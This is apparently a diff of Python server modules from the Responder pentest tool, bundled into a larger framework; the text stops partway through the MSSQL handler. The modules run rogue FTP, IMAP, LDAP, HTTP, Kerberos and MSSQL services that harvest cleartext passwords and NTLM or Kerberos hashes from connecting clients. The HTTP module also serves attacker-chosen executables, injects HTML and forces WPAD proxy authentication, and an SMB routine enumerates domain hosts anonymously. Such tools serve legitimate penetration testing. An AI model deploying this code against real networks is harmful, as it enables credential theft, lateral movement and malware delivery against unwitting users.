# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
from core.configwatcher import ConfigWatcher
from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from core.utils import *
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
return Role[data] if data in Role else "Unknown"
def RequestType(data):
Type = {
"\x01": 'Host Announcement',
"\x02": 'Request Announcement',
"\x08": 'Browser Election',
"\x09": 'Get Backup List Request',
"\x0a": 'Get Backup List Response',
"\x0b": 'Become Backup Browser',
"\x0c": 'Domain/Workgroup Announcement',
"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement',
}
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries):
if entries > 0:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = []
for x in ServerName:
FP = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '')
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
return l
return None
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
else:
return None
def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
Header = SMBHeader(cmd="\x72",mid="\x01\x00")
Body = SMBNegoData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
Body = SMBSessionData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Tree Connect IPC$.
if data[8:10] == "\x73\x00":
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Rap ServerEnum.
if data[8:10] == "\x75\x00":
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(64736)
# Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
pass
def BecomeBackup(data,Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
if ReqType == "Become Backup Browser":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
print RAPThisDomain(Client, Domain)
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
print RAPThisDomain(Client, Domain)
except:
pass
class Browser(BaseRequestHandler):
def handle(self):
try:
request, socket = self.request
if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass

View file

@ -1,5 +1,3 @@
#!/usr/bin/env python2.7
#
# DNSChef is a highly configurable DNS Proxy for Penetration Testers
# and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/
# for the latest version and documentation. Please forward all issues and

58
core/servers/FTP.py Normal file
View file

@ -0,0 +1,58 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
from core.utils import *
from SocketServer import BaseRequestHandler
from core.packets import FTPPacket
class FTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(FTPPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].strip()
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].strip()
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+':'+Pass
})
else:
Packet = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(Packet))
data = self.request.recv(1024)
except Exception:
pass

292
core/servers/HTTP.py Normal file
View file

@ -0,0 +1,292 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import core.responder.settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from core.responder.utils import *
from core.responder.packets import NTLM_Challenge
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
SaveToDb({
'module': 'HTTP',
'type': 'NTLMv1',
'client': client,
'host': HostName,
'user': User,
'hash': LMHash+":"+NTHash,
'fullhash': WriteHash,
})
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'HTTP',
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'fullhash': WriteHash,
})
def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
return False
def GrabHost(data, host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3))
return Host
else:
return False
def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
else:
return False
def ServeFile(Filename):
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def RespondWithFile(client, filename, dlname=None):
if filename.endswith('.exe'):
Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
else:
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
Buffer.calculate()
print text("[HTTP] Sending file %s to %s" % (filename, client))
return str(Buffer)
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
# Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed
if settings.Config.Serve_Html == True:
return RespondWithFile(client, settings.Config.Html_Filename)
WPAD_Custom = WpadCustom(data, client)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return str(Buffer)
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
SaveToDb({
'module': 'HTTP',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.split(':')[0],
'cleartext': ClearText_Auth.split(':')[1],
})
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return str(Buffer)
else:
if settings.Config.Basic == True:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client)
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response)
# HTTP Server class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.request.send(Buffer)
except socket.error:
pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass
# SSL context handler
class SSLSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
from OpenSSL import SSL
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
ctx.use_privatekey_file(key)
ctx.use_certificate_file(cert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass

55
core/servers/IMAP.py Normal file
View file

@ -0,0 +1,55 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreeting()))
data = self.request.recv(1024)
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4]
self.request.send(str(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
data = self.request.recv(1024)
if data[5:10] == "LOGIN":
Credentials = data[10:].strip()
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Credentials[0],
'cleartext': Credentials[1],
'fullhash': Credentials[0]+":"+Credentials[1],
})
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception:
pass

159
core/servers/Kerberos.py Normal file
View file

@ -0,0 +1,159 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from utils import *
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise

137
core/servers/LDAP.py Normal file
View file

@ -0,0 +1,137 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import *
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
SSPIStart = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': NtHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
return Buffer
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
else:
if settings.Config.Verbose:
print text('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass

157
core/servers/MSSQL.py Normal file
View file

@ -0,0 +1,157 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
class TDS_Login_Packet():
def __init__(self, data):
ClientNameOff = struct.unpack('<h', data[44:46])[0]
ClientNameLen = struct.unpack('<h', data[46:48])[0]
UserNameOff = struct.unpack('<h', data[48:50])[0]
UserNameLen = struct.unpack('<h', data[50:52])[0]
PasswordOff = struct.unpack('<h', data[52:54])[0]
PasswordLen = struct.unpack('<h', data[54:56])[0]
AppNameOff = struct.unpack('<h', data[56:58])[0]
AppNameLen = struct.unpack('<h', data[58:60])[0]
ServerNameOff = struct.unpack('<h', data[60:62])[0]
ServerNameLen = struct.unpack('<h', data[62:64])[0]
Unknown1Off = struct.unpack('<h', data[64:66])[0]
Unknown1Len = struct.unpack('<h', data[66:68])[0]
LibraryNameOff = struct.unpack('<h', data[68:70])[0]
LibraryNameLen = struct.unpack('<h', data[70:72])[0]
LocaleOff = struct.unpack('<h', data[72:74])[0]
LocaleLen = struct.unpack('<h', data[74:76])[0]
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
